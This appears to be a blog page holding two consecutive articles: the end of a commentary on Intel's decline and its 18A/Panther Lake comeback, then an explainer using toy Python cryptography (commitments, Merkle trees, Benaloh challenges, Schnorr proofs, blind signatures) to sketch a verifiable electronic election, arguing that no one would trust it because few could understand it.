Here’s the part that convinces me completely. Look at the timeline and try to find “x86 was a fundamental limitation” anywhere in it:

• 2005-2006: Intel passes on making the iPhone’s chip — Otellini admitted the regret in his exit interview with The Atlantic: “the world would have been a lot different.” And the tragicomic detail: Intel had an ARM division (XScale) — and sold it to Marvell in 2006 for US$600 million. It wasn’t a lack of technology; it was a lack of vision.
• 2013-2021: three CEOs. Krzanich left in 2018 over an internal scandal. In came Bob Swan, a finance CFO, to run an engineering company at the most delicate moment in its history.
• 2018-2020: 10nm became a joke (Cannon Lake only in limited release) and in July 2020 Intel announced a 7nm delay — the stock dropped 16% in a day. In April 2019, it abandoned the 5G smartphone modem business; Apple bought the modem unit for US$1 billion. In November 2020, the M1.
• 2021-2024: Gelsinger returned with the IDM 2.0 plan, “five nodes in four years.” In December 2024 he was pushed into “retirement” — a board ultimatum, per Reuters and Bloomberg. The year closed with a US$18.8 billion loss, 15,000 layoffs, a suspended dividend, and Intel expelled from the Dow Jones after 25 years — replaced by Nvidia, which at that point was worth more than 30 times Intel. By October 2025, the cumulative layoff count had reached 35,500.

Nothing on that list is architecture. It’s missed products, delayed fabs, wrong decision after wrong decision. x86 was there, competent, while the company dismantled itself around it.

Remember this: the iPhone pass, the XScale sale, the broken 10nm, three CEOs, a US$18.8 billion loss — Intel’s fall was decision after decision, not an x86 limitation.

The unlikely rescue

And then 2025 happened. Lip-Bu Tan took over in March. In August, Trump demanded his head on Truth Social over China ties — and just days later, after a White House meeting, became a fan. On August 22, the US government bought 9.9% of Intel: 433.3 million shares at US$20.47, US$8.9 billion total, converting CHIPS Act grants into equity, with no board seat. SoftBank put in US$2 billion. And the surreal cherry on top: Nvidia — the same company that replaced it on the Dow — invested US$5 billion and signed a partnership to put RTX chiplets into x86 CPUs.

The financial results started showing: Q1 2026 revenue of US$13.6 billion (+7% year over year), Q2 at US$16.1 billion (+25%), seventh consecutive quarter above projections. The stock the government paid US$20.47 for reached more than six times that price in May, when Bloomberg reported talks for Intel to manufacture Apple chips — preliminary reporting, production years away, but the market went wild. Even after cooling off, the US government’s position is still worth five times what it cost. The American taxpayer is, today, a profitable Intel shareholder. Go figure.

Remember this: the US government, SoftBank, and Nvidia as shareholders, and the stock five times above the government’s entry price — Intel became a national cause, and the market bought the comeback.

The comeback, feet on the ground

Panther Lake is the first big product on 18A — RibbonFET (gate-all-around transistors) plus PowerVia (backside power delivery), coming out of Fab 52 in Chandler, Arizona. There’s delicious irony here: the flagship’s 12-core GPU tile is still manufactured by TSMC. And 18A yields (the fraction of good chips per wafer), per Tom’s Hardware, should only reach industry-standard levels in 2027 — the ramp is slow, and Ars Technica asks the right question: is this the new normal or an aberration?

But the point of this article isn’t cheerleading. It’s that Panther Lake empirically closes a debate that was theological. An x86-64 on a competitive process delivers MacBook battery life, ties the M5 in multi-core, and beats the Windows competition in several scenarios. If the ISA were the decisive factor, that would never happen, on any process. What brought Intel down was management; what brings it back is fabs and focus; and what separates Apple, Qualcomm, AMD, and Intel is microarchitecture, cache, process, and integration — exactly as Jim Keller and the literature always said.

I’m rooting for the comeback. Not out of nostalgia from someone who built PCs with Pentiums, but because the efficient-laptop market was settling into a comfortable duopoly — and a comfortable duopoly is the enemy of price and innovation. Let the fight go on.

Remember this: Panther Lake closes a theological debate: competitive x86 exists when the fab is competitive. It was never about instructions.

Recently the TSE put on a little theater show: it “opened up the voting machine” so technicians from the Brazilian Computer Society could look at the components. That’s obviously useless. Showing a motherboard, a processor, and some memory chips proves there’s no malware the way looking at a car’s engine proves the driver is sober. Hardware is just the stage; the play happens in the software. And auditing the software is precisely what’s hard, restricted, full of ritual and short windows — which completely defeats the purpose of public transparency. An audit that only a handful of credentialed people can perform, under supervision, for a few days, is not transparency. It’s a performance.

And for the record: I’m not defending the current system, and I have zero expectations for it. As I summed up in this tweet: the voting machine is just a box, an old PC. Even if the software were perfect, it wouldn’t matter — the processes around it stay secret, done behind closed doors. The machine is a smokescreen. With or without an alternative, I don’t care about it.

Many people conclude from this that the answer is digital elections, but with a different system. This article is a computer science exercise: what would a hypothetically perfect system look like? And, more importantly, the final conclusion: why even that perfect system would not be a viable option.

One thing worth emphasizing before we start: the system I’m about to describe would require no secrecy from the government. No secret components, no secret processes, no locked rooms with credentialed people standing guard. Everything — the code, the data, the whole structure — could be 100% open, accessible to anyone, no restrictions whatsoever. And it would still be possible to prove, mathematically, that fraud is impossible. It’s the exact opposite of the current model, where trust is born out of secrecy.

No patience for code and math along the way? Skip straight to the part where I explain why this wouldn’t work. And at the end of the article, three appendices: is the current system auditable?, how to reward voters who verify their vote, and why “zero knowledge” is so hard to swallow.

“The machine is safe because it’s not on the internet”

Sooner or later, every defender of the current system plays this card: the voting machine isn’t connected to the internet, so it can’t be hacked from the outside. Technically true. And completely beside the point.

First, because isolation says nothing about what the software does. An offline machine can flip votes just the same — you simply get no way to watch it happen. And malware doesn’t need a network to get in: it can come from the factory, from an update, from the supply chain, from a technician with physical access. Stuxnet, the most famous worm in history, crossed the air gap into Iran’s centrifuges on a USB stick. An air gap is an obstacle, not proof of honesty. And notice: the machine’s data has to leave it somehow at the end of the day, on physical media carried around or through later transmission. “Not on the internet” is a logistical half-truth.

Second, and more important: that argument exposes the wrong mental model. The current system’s security comes from physical custody — seals, locked rooms, accredited observers, rituals. In other words, once again, from trusting people and processes you cannot see.

In the system I’m about to describe, the machine could be plugged straight into the internet, publishing every vote to the public tree in real time, and fraud would still be impossible. Not because the network is safe, but because nobody needs to trust the machine:

• What it publishes are opaque commitments: even broadcasting everything live, there is no vote to leak in the published data.
• Every commitment carries a mathematical validity proof: the machine cannot mint an invalid vote.
• The tree is public and replicated by independent observers: nothing published can be altered later without breaking the hashes.
• And if the machine flips your vote at the booth, the Benaloh challenge catches it (that’s Building block 4, further down): it cannot know whether you’ll cast or audit.

Being online or not stops being the question. Security doesn’t live in the absence of a network; it lives in public verification. “Trust us, the machine is locked in a room” becomes “don’t trust anything, check the math.” That inversion is the one thing the current model cannot offer.

The tweet that inspired this post

I recently posted this tweet about end-to-end verifiability (E2E-V). The gist of the idea:

1. Every voter gets a paper receipt with a unique identifier — a hash — that identifies neither the person nor the vote.
2. Each precinct’s votes go into a public structure you can only append to, never delete from (append-only): a Merkle tree (the same principle as a blockchain).
3. That tree is published in full. Any citizen downloads and verifies it.
4. Individual verifiability: each voter checks that their hash is there, no middleman.
5. Universal verifiability: anyone recomputes the tree and checks that it produces the announced total.

I made it explicit in the tweet: this is not a solution, it’s a napkin sketch. The concept exists, it’s mathematically solid, and it’s old news to anyone in computer science. But the reaction was interesting.

The voto de cabresto problem

A lot of the comments got stuck on the same point: the voto de cabresto — the “halter vote”. It’s a historical practice in Brazil: the local political boss buys a poor voter’s vote and demands proof they voted “the right way”. Back in the day it was the pre-marked ballot; today it would be a photo of the voting machine’s screen (which is why phones are banned inside the booth).

And that raises an apparent contradiction:

• If the receipt the voter takes home reveals who they voted for, the vote can be coerced or sold.
• If the receipt doesn’t reveal who they voted for, how does the voter check that their vote went to the right candidate?

I recently posted the answer, albeit only in passing: zero-knowledge proofs (ZK). The same principle behind truly anonymous cryptocurrencies like Monero and Zcash.

The flow would go like this: the voter picks the candidate on the screen; the machine generates a secret random number, computes ciphertext = Enc(election_public_key, vote; random), produces a ZK proof that this ciphertext contains a valid vote, and publishes everything to a public Merkle tree. The voter takes home only a serial number. The serial does not contain the vote, but it lets you prove the vote exists in the tree and was not tampered with.

Here’s what this looks like for programmers, step by step, with real values. And at the end I’ll explain why, even working perfectly, this would fix nothing.

Building block 1: hash as commitment

The foundation of everything is the hash function. A function like SHA-256 takes any input and produces 32 seemingly random bytes. Three properties matter here:

• Deterministic: same input, same output. Always.
• One-way: given the hash, there’s no going back to the input.
• Avalanche: flip one bit of the input and the whole hash changes.

import hashlib

def commit(voto, nonce):
    return hashlib.sha256(f"{voto}:{nonce}".encode()).hexdigest()

commit('Candidato A', 987654321) = 337051f1dbc6a8ef412ecc14067c263d6a0dc83dada6939b51d74b6651727b69
commit('Candidato A', 123456789) = 55512bcd60924abf68d162f1a130023635089974db08ea9cff691e1f209898ab
commit('Candidato B', 987654321) = faf54e90eb84ba4c0446701c3779a382e48d02847bd2301f3836f673c54f9693

Look closely. The first and second hashes hide the same vote — what changes is the nonce, a random number that acts as “wrapping”. The first and third share the same nonce, but different votes. The three hashes have no visible resemblance to one another.

This is a commitment: I publish the hash today, and tomorrow I can reveal (vote, nonce) and anyone can check the hash matches. I can’t change my vote after publishing (the binding property), and nobody can figure out the vote before the reveal (the hiding property).

Except there’s a problem for our election: if the voter takes home both the vote and the nonce, they can show both to the coercer, who verifies the hash and confirms the vote. The halter is back. We need something better.

Building block 2: Pedersen commitments — hiding for real

The Pedersen commitment solves this with modular arithmetic. I’ll use toy numbers so you can check the math by hand; real systems use 2048-bit primes or elliptic curves, but the math is identical.

Take a prime p = 23 and two generators g = 4 and h = 8 (both generate a subgroup of order 11 modulo 23 — check it: 4^11 mod 23 = 1 and 8^11 mod 23 = 1). The commitment to a vote v with nonce n is:

C = g^v * h^n  (mod p)

p, q, g, h = 23, 11, 4, 8

def pedersen(v, n):
    return (pow(g, v, p) * pow(h, n, p)) % p

C(voto=1, n=3)  = 1
C(voto=1, n=9)  = 13
C(voto=0, n=3)  = 6

Same vote, different nonces, completely different commitments. Now the part that matters. Pedersen has a property called perfect hiding: for any commitment C, there exists a nonce that opens C as vote 0, and there exists a nonce that opens C as vote 1. With our toy prime we can prove it by brute force:

C = 1  # the commitment from above, C(vote=1, n=3)

for n in range(11):
    if pedersen(0, n) == C:
        print(f"C abre como voto=0 com nonce {n}")
    if pedersen(1, n) == C:
        print(f"C abre como voto=1 com nonce {n}")

C=1 abre como voto=0 com nonce 0
C=1 abre como voto=1 com nonce 3

Read that again, because this is the heart of the article. The commitment C = 1 is consistent with both stories. Anyone who sees only C has no way to know which one is true — not by brute force, not with a quantum computer, because both openings exist mathematically. The value C simply does not contain the vote’s information.

“Hold on,” you say, “so the voter can change their vote afterwards?” No, and that’s the other half of the property: the commitment is computationally binding. Whoever generated the commitment with (vote=1, n=3) can only reveal the other opening (vote=0, n=0) if they can compute a discrete logarithm — that is, find x such that g^x = h mod p. With p = 23 that’s trivial; with 2048 bits, it’s computationally impossible. To sum up:

• Outsiders can’t discover the vote (hiding).
• Whoever committed can’t change the vote afterwards (binding).

And the final detail that kills the halter vote: the machine generates the nonce, not the voter. The voter sees their choice on the screen, the machine makes the commitment internally, discards the nonce, and prints only the C — the serial. The voter leaves the booth with no way to open their own commitment, even if they want to.

(One implementation detail I’ll simplify from here on: Pedersen hides so well that nobody can decrypt it — not even the authorities at tally time. In practice, the machine also publishes an ElGamal ciphertext of the same vote: just as opaque to any outsider, but decryptable by the authorities at the tally, with a ZK proof that both carry the same vote. Our toy Pedersen plays both roles in this article, to keep the math on small numbers.)

Building block 3: the Merkle tree — a ballot box anyone can audit

Where do these commitments live? In a public structure anyone can download and verify: a Merkle tree. If you watched my video on cryptography in practice — certificates, BitTorrent, Git, Bitcoin, you’ve seen this structure in action: it’s the same one that scales BitTorrent, organizes Git commits, and packs the transactions of a Bitcoin block.

The construction is simple: each leaf is the hash of a vote (one voter’s commitment C), and each internal node is the hash of the concatenation of its two children, until a single hash remains at the top: the root.

def H(x):
    return hashlib.sha256(x.encode()).hexdigest()

eleitores = [(1, 3), (0, 7), (1, 2), (1, 10), (0, 5), (1, 1), (0, 8), (1, 4)]
leaves = [H(f"{i}:{pedersen(v, n)}") for i, (v, n) in enumerate(eleitores)]

With the 8 example votes, the leaves look like this (hashes abbreviated):

eleitor 0: voto=1 nonce=3  -> C=1  -> folha=ef134f2a180ba05d...
eleitor 1: voto=0 nonce=7  -> C=12 -> folha=ce356d2f943ea5af...
eleitor 2: voto=1 nonce=2  -> C=3  -> folha=8e0375adfc1f4563...
eleitor 3: voto=1 nonce=10 -> C=12 -> folha=df284a49f837c454...
eleitor 4: voto=0 nonce=5  -> C=16 -> folha=fd6df9e3530cb74f...
eleitor 5: voto=1 nonce=1  -> C=9  -> folha=e0e9d38f9ccb7a41...
eleitor 6: voto=0 nonce=8  -> C=4  -> folha=e719f7fde83fafda...
eleitor 7: voto=1 nonce=4  -> C=8  -> folha=1393ac80e69a8991...

RAIZ PUBLICA: 48826b6481b574e37156f85e34d877105bc55073fb5a5b981239572a8e7c4b61

(The votes and nonces in the table are shown in the clear only so you can check the math; the public tree holds only the leaves — opaque hashes.)

The root is the “summary” of the whole election: 32 bytes representing every vote. If a single bit of a single vote changes, the root changes completely. The root and the entire tree get published. Any citizen, at home, with open-source code, rebuilds the tree and checks whether the published root matches. That’s universal verifiability.

Now the individual part. Suppose you’re voter 4. Your receipt is the serial — the leaf fd6df9e3530cb74f1f0795b751a43454cab281a431d0558b413e33bba83a4100, which is the hash of your commitment C = 16 at position 4 in the tree. To prove it’s in the tree, you don’t need to download and check all 8 votes — you need only log2(8) = 3 hashes, the path of “siblings” up to the root:

def merkle_verify(leaf, proof, root):
    cur = leaf
    for h_, side in proof:
        cur = H(h_ + cur) if side == "esq" else H(cur + h_)
    return cur == root

prova do eleitor 4:
  (dir) e0e9d38f9ccb7a41...  (irmão: folha do eleitor 5)
  (dir) 3149c3bf17d98fbc...  (irmão: nó dos eleitores 6-7)
  (esq) 3b902c849a40619b...  (irmão: nó dos eleitores 0-3)

verificação local: True
tentando folha adulterada: False

You take your serial, concatenate it with the 3 proof hashes in the right order, hash three times, and check whether you land on the public root. If you do, it’s mathematically impossible for your vote not to be in the tree — because producing a fake proof would require finding a SHA-256 collision, and nobody on the planet knows how to do that. If someone swaps your vote afterwards, your proof stops working and you hold evidence of the fraud in your hand. In a real election with 150 million votes, the proof would be about 28 hashes — fits on a paper receipt or a QR code.

Notice what just happened: you proved that a piece of information is in the public tree and that nobody messed with it, carrying home only a 32-byte number that, by itself, says absolutely nothing about the content. That’s what people mean by “zero knowledge” in this context: the verification happens without the knowledge (the vote) ever having to travel.

Building block 4: the Benaloh challenge — checking the machine on the spot

There’s one blind spot left. The machine shows “vote recorded” on the screen and prints your serial C. At home, you confirm that C sits in the tree. All good? Not quite. What if the machine lied and committed a different vote? The screen shows the candidate you picked, but under the hood it computed the commitment for another one. You would never notice, because the commitment is opaque by design. That’s the hiding property working against you.

The classic fix comes from cryptographer Josh Benaloh, and it goes by Benaloh challenge (or cast-or-challenge). The idea: after the machine shows the commitment C on screen, but before you confirm, you get two options:

• Cast: the vote counts, enters the tree, and the nonce is destroyed forever.
• Challenge: you declare that ballot a test vote. The machine must reveal the nonce and the vote it put inside the commitment, and you redo the math on the spot — in an independent app, on your own phone, not on the machine’s software:

# the machine showed on screen: C = 1
# you challenged; the machine reveals: vote=1, nonce=3
pedersen(1, 3) == 1   # True -> the machine committed exactly what you picked

If it matches, the machine was honest on that ballot. The test ballot is spoiled and never enters the tally — the revealed nonce would make it readable — and you vote again, for real this time.

Now suppose a rigged machine that flips a fraction of the votes. You pick vote=1; it internally records vote=0 and shows C = 12 on screen (pedersen(0, 7) = 12). If you cast, the fraud sails through. But if you challenge, the machine is cornered: it has to reveal a (vote, nonce) pair that opens C = 12. The only one it knows is (0, 7) — and revealing that exposes the swap right in front of you: “I voted 1!”. Opening it as vote=1 would require finding a nonce n with pedersen(1, n) = 12, which is the discrete log problem all over again. With our toy prime a brute force search finds one (n = 10 exists), but with 2048-bit primes a cheating machine flat out cannot produce the answer.

And what springs the trap: the machine cannot know in advance whether you’ll cast or challenge. The decision is yours, made after the commitment is already on screen. If a slice of the electorate tests a few ballots before voting for real, a machine that flips votes at scale gets caught with overwhelming probability. Real verifiable voting systems like Helios and ElectionGuard use exactly this mechanism.

And notice this breaks nobody’s secrecy: the revealed nonce belongs to a spoiled ballot that doesn’t count. The vote that counts keeps its nonce destroyed and its commitment impenetrable.

Building block 5: a real zero-knowledge proof — Schnorr

One more piece is missing. What guarantees that each commitment in the tree contains a valid vote — and not, say, vote = 500, which would inflate the result? The machine must prove the commitment opens to a legitimate value without opening the commitment. That’s a zero-knowledge proof in the strict sense.

The canonical example, and one you can demonstrate with small numbers, is the Schnorr protocol: proving you know a secret s such that y = g^s mod p, without revealing s. The intuition before the math: it’s Ali Baba’s cave. The cave has two passages that meet at a locked door. You prove you have the key by walking in one side and coming out whichever side the verifier calls — without ever showing the key. Without the key, you’d only guess the call right by luck, 50% of the time; after 20 rounds, the odds of fooling anyone are below one in a million.

The mathematical version, with our toy numbers (p = 23, g = 4, order q = 11):

segredo = 7
y = pow(g, segredo, p)   # y = 4^7 mod 23 = 8  (public value)

# 1. commitment: the prover picks a random r and sends t
r = 3
t = pow(g, r, p)          # t = 4^3 mod 23 = 18

# 2. challenge: the verifier picks a random c
c = 5

# 3. response: the prover computes z
z = (r + c * segredo) % q  # z = (3 + 5*7) mod 11 = 5

# verification: g^z == t * y^c (mod p)
esq = pow(g, z, p)                 # 4^5 mod 23 = 12
dir = (t * pow(y, c, p)) % p       # 18 * 8^5 mod 23 = 12
print(esq == dir)                  # True

It works because g^z = g^(r + c·s) = g^r · (g^s)^c = t · y^c. The algebra checks out. Now observe what the verifier saw: the numbers t, c, z, and the final check. At no point did the secret s = 7 show up. And an impostor who doesn’t know s can’t answer an arbitrary challenge: if they guess z = 2, the verifier computes g^2 = 16 ≠ 12 and the fraud is exposed.

And why does the verifier learn nothing about s, rather than just “not much”? Because the whole conversation could have been fabricated by someone who doesn’t know the secret, in this inverted order:

# simulator: pick c and z FIRST, then compute the t that closes the equation
c_sim, z_sim = 5, 9
t_sim = (pow(g, z_sim, p) * pow(y, -c_sim % q, p)) % p  # t = 8

# checking the forged transcript:
pow(g, z_sim, p)              # 4^9 mod 23 = 13
(t_sim * pow(y, c_sim, p)) % p  # 8 * 8^5 mod 23 = 13  -> it matches!

The forged transcript (t=8, c=5, z=9) passes verification and is indistinguishable from a real one. If anyone can fabricate a valid conversation without knowing the secret, then the real conversation cannot contain any information about the secret. That’s what “zero knowledge” formally means. (For use outside a lab, the challenge c is derived by hashing the commitment — the Fiat-Shamir transform — and the proof becomes a single, non-interactive object that anyone verifies offline.)

In our hypothetical election, the machine publishes, alongside each vote, a proof of this kind — in practice, an OR-variant (“the vote is 0 or it is 1”, without saying which) — and any auditor verifies that every vote in the tree is valid, without ever seeing a single one.

Building block 6: what stops phantom votes?

One hole is left, and it’s a favorite among digital-election skeptics: what stops the authority from stuffing the tree with invented votes? Every commitment in the Merkle tree carries a ZK proof that it contains a valid vote — but the proof only guarantees the value is 0 or 1. A thousand phantom votes would be a thousand perfectly valid commitments with perfectly correct proofs. The tree is public, anyone can count the leaves… but who says there should be 8 and not 8,000?

The first answer is replication. The tree follows the transparency-log model — the same Certificate Transparency that protects the HTTPS certificates you use all day: one publisher writes, and dozens of independent observers (parties, the bar association, universities, the press, you) copy the tree, sign the root, and cross-check each other. Rewriting history would mean convincing all of them to accept a root different from the one they already signed.

That protects what’s already published. But creating phantom votes? That’s where the most elegant piece of all comes in, from the same David Chaum who invented digital cash and mix-nets: the blind signature (1982).

The flow: you authenticate at the registration desk like today — ID, biometrics. In the booth, the machine computes your commitment (Building block 2), but before publishing it needs a credential from the desk. The machine blinds the commitment with a random factor and sends the desk only the blinded value — and here being online is no problem at all, as we saw in the air-gap section. The desk, which already registered your authentication, signs exactly once, without seeing the content. The machine unblinds the signature and publishes the pair (commitment, signature). In the end, the desk has no idea which commitment it signed — so it cannot link your identity to your vote. With toy RSA, you can watch the magic happen:

# the desk's toy RSA: n=3233, e=17 (public), d=2753 (private)
n, e, d = 3233, 17, 2753
C = 16        # your Pedersen commitment, the same one from Building block 3

# 1. the machine blinds the commitment with a random factor r
r = 7
cego = (C * pow(r, e, n)) % n       # 2341 -> this is all the desk sees

# 2. the desk, which already logged your authentication, signs the BLIND value
ass_cego = pow(cego, d, n) % n      # 216

# 3. the machine removes the blind factor and publishes (C, s) to the tree
s = (ass_cego * pow(r, -1, n)) % n  # 2802

# any auditor checks: s^e mod n == C ?
print(pow(s, e, n))   # 16 -> the commitment, with a valid signature!

Notice: the desk only saw the number 2341, which to them is noise. They signed 216 without knowing they were signing your C = 16. Yet the pair (C, s) passes any auditor’s verification. It’s a regular digital signature — s is exactly C^d mod n — just produced without the signer ever seeing the document. It looks like a magic trick, but it’s plain RSA algebra: blinding multiplies by r^e; signing raises everything to d, and since e·d ≡ 1, what’s left is C^d · r; unblinding divides by r, leaving C^d.

Now assemble the full picture: a leaf only enters the tree carrying two things — the ZK validity proof (Building block 5) and a credential signed by the desk (Building block 6). The desk issues one credential per authentication, and authentication is a public event: there’s a line at the precinct, poll workers, party watchers, the biometric log, the per-precinct attendance count published every election. At the end of the day, the equation anyone can check is:

number of leaves in the tree == number of authenticated voters.

A phantom vote is a leaf without a credential (doesn’t get in) or a credential without a voter (inflates the count and shows). Removing a legitimate vote breaks the receipt’s inclusion proof (Building block 3). Altering a published vote breaks the hashes on the observers’ copies. Stealing credentials would mean fooling the biometrics in front of watchers. Every fraud path hits a different wall — and every wall is checkable by anyone, from home.

The weakest link: who proves you are you?

Everything before this section is math. But there’s one door no math can lock: authentication. No algorithm proves the human standing in front of you is who they claim to be. That is, honestly, the weakest link in the entire system — and it’s worth facing head-on.

And here Brazil simplifies the problem, because it already paid the expensive part: the voter biometric registry exists and covers over 80% of the electorate — more than 124 million people, per the electoral court. National deduplication already ran: one finger exists only once in the roll, no matter how many forged documents back it up. And fingerprints already release the vote at the precinct — in 2026, in every precinct in the country. For this article’s hypothetical system, biometric authentication is free: reuse what’s already standing.

Of course, that registry existing is itself the privacy bet: biometrics are irrevocable data — you can change a password, not your fingerprints. Aadhaar, India’s biometric registry, had incidents exposing data on over a billion people; the OPM, the US government’s HR office, lost 5.6 million fingerprints in a single 2015 breach. A national biometric database is a single point of catastrophic, permanent failure — and Brazil already made that bet. The hypothetical system doesn’t make it worse; it just inherits it.

For anyone outside the biometric registry, the precinct falls back to the photo ID — and cards get forged. They probably get forged today. But notice what the architecture does to that problem: one forged authentication mints one credential, which yields one leaf in the tree. To fraud at scale, the criminal needs flesh-and-blood people showing up in person, in front of poll workers and watchers, once per fake vote. That’s retail fraud: expensive, visible, slow. A thousand fake votes require a thousand bodies — and then it’s not silent digital fraud anymore, it’s chartered-bus logistics everyone sees rolling by. The system doesn’t prevent forgery; it caps the damage per forgery at exactly one vote and pushes the cost into the physical world.

And anomalies surface: the equation from Building block 6 — leaves == authentications — can be checked precinct by precinct. A precinct with 400 registered voters and 420 authentications raises eyebrows. Regional turnout above 100% raises eyebrows. And if paranoia runs high, the desk’s signing key can be fragmented like the election key, requiring a quorum to issue credentials.

The honest summary: the link stays physical and human — a human proving, once, in public, that they’re on the roll — and no system, however perfect, eliminates it. The best possible design does two things with it: shrinks the trust surface down to that single event and makes its failures visible instead of silent. With biometrics valid at every precinct in 2026, identity forgery becomes the most expensive, least scalable path of all — which is exactly where a well-designed system wants it. There’s no free lunch, and pretending there is one is the kind of pitch this whole article refuses to make.

Putting it all together: the full protocol

The hypothetically perfect election would go like this:

1. Setup. A group of independent authorities (the electoral court, the bar association, parties, civil society) jointly generates the election’s public key. The corresponding private key stays fragmented: no single authority can decrypt anything; only a majority acting together can.
2. Authentication. The voter identifies at the registration desk — ID, biometrics, like today — and the desk logs the authentication. This authorizes the issuance of one credential: the blind signature on a commitment, without the desk seeing the content. No link between identity and vote.
3. Voting. The voter picks the candidate on the screen. The machine generates a random nonce, computes the Pedersen commitment and the ElGamal ciphertext of the same vote (the commitment becomes the receipt’s serial; the ciphertext is what gets tallied), produces the ZK validity proof, and shows the commitment on screen. The voter then decides: cast, and the nonce is destroyed — or challenge, and the machine reveals the nonce for an on-the-spot check, the ballot is spoiled, and they vote again. Once cast, the machine blinds the commitment, the desk signs it sight unseen, and the machine unblinds the signature.
4. Publication. The commitment goes into a public Merkle tree, together with the ZK proof and the credential — replicated and signed by multiple independent observers. No credential, no entry.
5. Receipt. The voter takes home a slip of paper with the serial. They cannot prove to anyone who they voted for — even if they want to, because they don’t have the nonce.
6. Individual verification. At home, the voter downloads the tree (or uses any independent website) and checks their serial is there, with the inclusion proof. If it isn’t, they hold material proof of fraud.
7. Universal verification. Any citizen, university, or party rebuilds the entire tree, checks the root, validates every ZK proof and credential, and confirms the leaf count matches the published per-precinct authentication totals.
8. Tallying. In the end, the encrypted votes go through a mix-net (they get re-shuffled and re-encrypted, severing the link to their original positions) and the authorities decrypt jointly, proving each step. The total matches the public root, or the fraud is evident.

Notice what changed relative to the current system: you no longer need to trust the electoral court, the voting machine, or any auditor. Every property is individually verifiable by anyone with a computer. It’s the same principle that lets Bitcoin work without a central bank: don’t trust, verify.

Before anyone gets too excited: this is a simplification. A real system still has to solve anonymous credentials more robust than our toy blind signature, tree availability, and a pile of operational details. The point here is not the complete design; it’s the core mechanism.

Why this would never work

Now for the part almost nobody proposing these systems wants to hear.

Scroll back to the beginning of this article and notice what I had to explain to get here: hash functions, commitments, modular arithmetic, discrete logarithms, Merkle trees, the Benaloh challenge, blind signatures, zero-knowledge proofs, simulators. With code, with numbers, with step-by-step examples. And even so, I’d bet a good share of readers — programmers included — made it here without full certainty that they truly understand why the scheme is secure.

And that’s not for lack of intelligence. It’s because trusting this system requires understanding math that the vast majority of the population will never understand. The only human being who can be 100% certain this system is correct is the one who can verify the mathematical proofs on their own. Everyone else — 99.9% of the population — wouldn’t be verifying anything. They’d be believing the mathematician who says it works.

And here we hit the fatal contradiction: if an electoral system requires the ordinary citizen to blindly believe a specialist they can’t audit, it is exactly as opaque as the TSE’s current system. The opacity just moved address: instead of trusting the court bureaucrat, you trust the cryptographer. For dona Maria, who sells pastel at the street market, it’s all the same — both are “a bunch of mumbo-jumbo I don’t understand”. And a system the population cannot understand is a system whose legitimacy it will never accept. Today’s skeptic saying “I don’t trust the voting machine” would become tomorrow’s skeptic saying “I don’t trust this algebra”.

An election is not only an engineering problem; it’s a social trust problem. The gold standard of transparency is the system anyone can watch with their own eyes: paper ballot, glass ballot box, public counting at the precinct, the tally posted on the door. Anyone understands paper being counted in public. Nobody has to believe anybody.

That’s why countries far richer and more technological than Brazil — Germany, the Netherlands, France, most of the US — stick with paper or demand an auditable paper trail. That’s not backwardness. It’s the recognition that verifiability only specialists understand is not public verifiability.

Sidebar: what cryptocurrencies prove every day

Before wrapping up, a detour to answer the question that always comes up: “but does this actually work, or is it napkin theory?” It works. And the proof has been running for almost two decades, moving billions of dollars, under constant attack: blockchains.

First, clearing up a misunderstanding: blockchain is not synonymous with cryptocurrency. As the name says, it’s just a chain of blocks. Each block carries a Merkle tree of records and the previous block’s hash. In Bitcoin, the block header holds the transaction tree’s root, the previous block’s hash, a timestamp, and a nonce — here, a mining counter — that miners vary until the hash of the entire block falls below the difficulty target: the famous proof of work. It’s Building block 3 of this article, extended through time: not one tree, but a chain of trees, each sealing the one before.

The practical result is the guarantee that matters here: tamper with one transaction in an old block and the tree’s root changes, the block’s hash changes, the link to the next block breaks, and to hide that you’d need to redo the proof of work of every block up to today — while thousands of honest nodes keep extending the true chain. Once everything is signed and sealed by hash, rewriting the past is computationally impossible. That’s exactly why Bitcoin can be 100% public: the exposure itself is the protection. Everyone has a copy of everything, so nobody rewrites history.

But public does not mean anonymous. That’s the part most people get wrong. In Bitcoin, every transaction stays visible forever: which addresses fed it, which received, how much moved. Addresses are pseudonyms — pen names, not anonymity. And there’s an entire chain-analysis industry (Chainalysis, Elliptic, TRM) making a living gluing identities to those pen names:

• Common-input heuristic: if a transaction spends coins from several addresses, they almost certainly belong to the same wallet. Group them into a cluster.
• Change detection: the output that returns to a fresh address usually belongs to the payer.
• Bridge to the real world: when a cluster’s address touches a KYC exchange, a name and a tax ID attach to the whole cluster — and to its complete history, retroactively.

That’s how the FBI recovered part of the Colonial Pipeline ransom, that’s how the Silk Road coins were traced years later, and that’s how the ~1,128 BTC stolen from ColdCards are still sitting in known addresses half the world is watching — I detailed it in the article about Coinkite’s RNG. If the thief moves a single satoshi to a KYC exchange, they identify themselves. The chain guarantees integrity, not secrecy.

For real anonymity, the chain alone doesn’t cut it: you need zero-knowledge proofs. Monero, for instance, combines three techniques:

1. Ring signatures: each spend is signed on behalf of a group of possible keys. The signature proves one of them authorized it, without revealing which.
2. Stealth addresses: the recipient’s address never appears on the chain; each payment creates a disposable address derived from a shared secret.
3. RingCT (confidential transactions): amounts stay hidden inside Pedersen commitments — yes, the exact same Building block 2 from this article — and a ZK range proof guarantees nobody minted coins out of thin air, without revealing any amount.

Zcash follows the same philosophy with zk-SNARKs: you prove “I own a valid, unspent note” without revealing which note. The network verifies the proof, accepts the transaction, and learns neither sender, recipient, nor value.

And here the circle closes. Look at what this article’s electoral scheme uses: a public, immutable structure anyone can verify (the Merkle tree, the blockchain’s simpler cousin), Pedersen commitments to hide content (the same primitive as Monero), and ZK proofs to guarantee validity without revelation (the same family as Monero and Zcash). None of this is lab conjecture: these are production systems, audited, attacked daily, protecting real money. An election is, if anything, a simpler problem — short window, a single publisher, offline verification.

That’s why I said at the beginning that the idea is mathematically solid: it invents nothing, it just composes pieces that already proved they can survive the real world. We know an end-to-end verifiable digital election could be built, because every one of its components is already built and running. Which brings us back to the problem that isn’t technical.

Conclusion

Let me make it clear once more, as I did in the tweets: this is not a proposal, it’s an exercise. I don’t know the solution to Brazil’s electoral trust problem. If I did, I’d be publishing a paper, not a blog post.

But the exercise is worth it for two reasons. First, because it shows the technology for individual and universal verifiability exists — anyone who says “digital elections are inherently unauditable” is wrong. Second, because it shows the real limit: the frontier isn’t technical, it’s epistemological. A perfect system nobody understands fails at the same point as an imperfect system nobody can audit.

If you understood every line of this article, congratulations: you’re part of a minority far too small to carry a democracy on its back.

Appendix 1: so is the current system auditable?

